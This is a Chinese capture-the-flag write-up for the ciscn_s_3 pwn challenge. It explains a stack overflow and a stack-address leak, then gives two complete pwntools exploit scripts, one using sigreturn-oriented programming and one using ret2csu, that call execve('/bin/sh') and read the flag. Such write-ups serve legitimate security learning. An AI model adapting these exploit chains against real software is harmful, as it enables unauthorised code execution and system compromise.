[CTF pwn] ciscn_s_3 write up

本文总阅读量

昨天做了一个晚上的麻烦题,研究了好长时间也没在本地打通,结果第二天早上一试远程就通了,估计本地环境没有搭好

首先checksec一下:

1

很平常的64位程序,只开了一个NX,接着进ida64:

main函数直接跳转到了vuln函数,我们先分析vuln函数:

2

注意这里的sys_read与sys_write,它们和之前的read和write库函数是不同的。仔细分析发现左侧的函数表中并没有read和write函数。我们直接看汇编:

3

这里用到的指令是syscall。上网上查了查,这个指令是用来进行系统调用的,根据rax寄存器的值来执行不同的系统调用,传参用的寄存器依旧是rdi,rsi,rdx等。

这个指令和32位的int 80h中断很相似,只不过后者传参用寄存器是ebx,ecx等,而且调用表也不一样。(32位的execve是11,64位的是59,即0x3B)

第一个系统调用时rax为0,调用的便是sys_read,第二个rax为1,调用的便是sys_write;

还有一个要注意的是该程序push了rbp之后没有leave,所以正常是无法正确退出的,我们构造溢出时就不用补rbp了

了解了这点后我们再接着分析,发现buf很显然存在溢出风险,可以尝试构造ROP链进行攻击;

注意到程序里的gadgets函数:

反汇编什么都没有,我们直接看汇编:

4

结合程序给出的syscall,这里有两段gadget可以利用,一个是0x4004DA段可以将rax设置为0xF,另一个0x4004E2段可以将rax设置为0x3B;

根据上面的表,前者指向的是rt_sigreturn,后者指向的是execve,接下来ROP链的有两个方向;

无论是哪个方向,都需要一个指向”/bin/sh”的地址,由于程序里没有相关字符串,我们需要在栈上构造/bin/sh并泄露栈地址,第一波攻击思路便是利用sys_write输出的0x30个字符中找到和栈地址相关的数据;

先来gdb调试一下子:

stack

这是ret时的栈结构,可以看出没有leave导致ret的地址指向了rbp而不是下一个0x400536,我们再看看它输出的0x30个字符:

1
2
3
payload = b'a' * 16
payload += p64(mainAddr)
p.send(payload)
6

这里和gdb分析的一样,我们覆盖的rbp的后面紧接着就是地址0x400536,注意到在接下来的地址指向了一个某一个栈地址,我们可以利用这个泄露来计算buf地址的偏移,从而在栈上构造/bin/sh;

1
2
3
p.recv(0x20)
stackAddr = u64(p.recv(8)) - 0x138
log.success(hex(stackAddr))

这里的stackAddr指向的是buf的基地址,下一轮我们直接在payload的未溢出部分写入/bin/sh:

1
2
payload = b'/bin/sh\x00'
payload = payload.ljust(16, b'\0')

接下来我们有sigreturn和execve两个方向,

对于前者,我在CTFwiki上查到了相关资料以及利用手段,参考了给的例题以及网上其他的write up尝试构造了一份:

1
2
3
4
5
6
7
sigframe = SigreturnFrame()
sigframe.rax = 0x3b
sigframe.rdi = stackAddr # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stackAddr
sigframe.rip = syscall_retAddr

然后再把它接到syscall的后面作为伪造的signal Frame :

1
2
3
4
payload += p64(bdrAddr)
payload += p64(syscall_retAddr)
payload += bytes(sigframe)
p.send(payload)

这样就能拿到flag了:

final

这种情况的完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import *

context(arch="amd64",os="linux",log_level="debug")
binary = '../ciscn_s_3'
elf =ELF(binary)

local = 0
port = 29144
ip = "61.147.171.105"
if local == 0:
p = process(binary)
else:
p = remote("node5.buuoj.cn",port)

next = b"ls && cat flag"
#==================rop==================#
mainAddr = elf.symbols["main"]
bdrAddr = 0x4004d7
syscall_retAddr = 0x0000000000400517
#=================start=================#
payload = b'a' * 16
payload += p64(mainAddr)
p.send(payload)

p.recv(0x20)
stackAddr = u64(p.recv(8)) - 0x138
log.success(hex(stackAddr))

sigframe = SigreturnFrame()
sigframe.rax = 0x3b
sigframe.rdi = stackAddr # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stackAddr
sigframe.rip = syscall_retAddr

payload = b'/bin/sh\x00'
payload = payload.ljust(16, b'\0')
payload += p64(bdrAddr)
payload += p64(syscall_retAddr)
payload += bytes(sigframe)
p.send(payload)
#=================End=================#
p.sendline(next)
p.interactive()

对于后者,我们需要利用系统调用execve,不但要把rdi指向binsh地址,还需要将rsi和rdx全都置0;

7

ROPgadget无法找到rdx相关的gadget(根本没有),因此我们选择使用ret2csu:

csu

这里参考了一下这个write up:注意这里是edi而不是rdi,64位传参的地址需要8位寄存器,这个edi是不够的,因此我们还需要rdi来传参:

8

第二个payload构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = b'/bin/sh\x00' * 2
payload += p64(bdrAddr)
payload += p64(csuEnd)
payload += p64(0)#rbx
payload += p64(1)#rbp
payload += p64(stackAddr + 0x10)#r12
payload += p64(0)#rdx
payload += p64(0)#rsi
payload += p64(0)#edi
payload += p64(csuStart)
payload += b'a' * 0x38
payload += p64(rdiAddr)
payload += p64(stackAddr)
payload += p64(syscall_retAddr)
p.sendline(payload)

这种也可以拿到flag。完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *

context(arch="amd64",os="linux",log_level="debug")
binary = '../ciscn_s_3'
elf =ELF(binary)

local = 0
port = 29144
if local == 0:
p = process(binary)
else:
p = remote("node5.buuoj.cn",port)

next = b"ls && cat flag"
#==================rop==================#
mainAddr = elf.symbols["main"]
bdrAddr = 0x4004d7
rdiAddr = 0x00000000004005a3
#pop rdi;ret
syscall_retAddr = 0x0000000000400517
csuStart = 0x400580
csuEnd = 0x40059a
#=================start=================#
payload = b'a' * 16
payload += p64(mainAddr)
p.send(payload)

p.recv(0x20)
stackAddr = u64(p.recv(8)) - 0x138
log.success(hex(stackAddr))

payload = b'/bin/sh\x00' * 2
payload += p64(bdrAddr)
payload += p64(csuEnd)
payload += p64(0)#rbx
payload += p64(1)#rbp
payload += p64(stackAddr + 0x10)#r12
payload += p64(0)#rdx
payload += p64(0)#rsi
payload += p64(0)#edi
payload += p64(csuStart)
payload += b'a' * 0x38
payload += p64(rdiAddr)
payload += p64(stackAddr)
payload += p64(syscall_retAddr)
p.sendline(payload)
#=================End=================#
p.sendline(next)
p.interactive()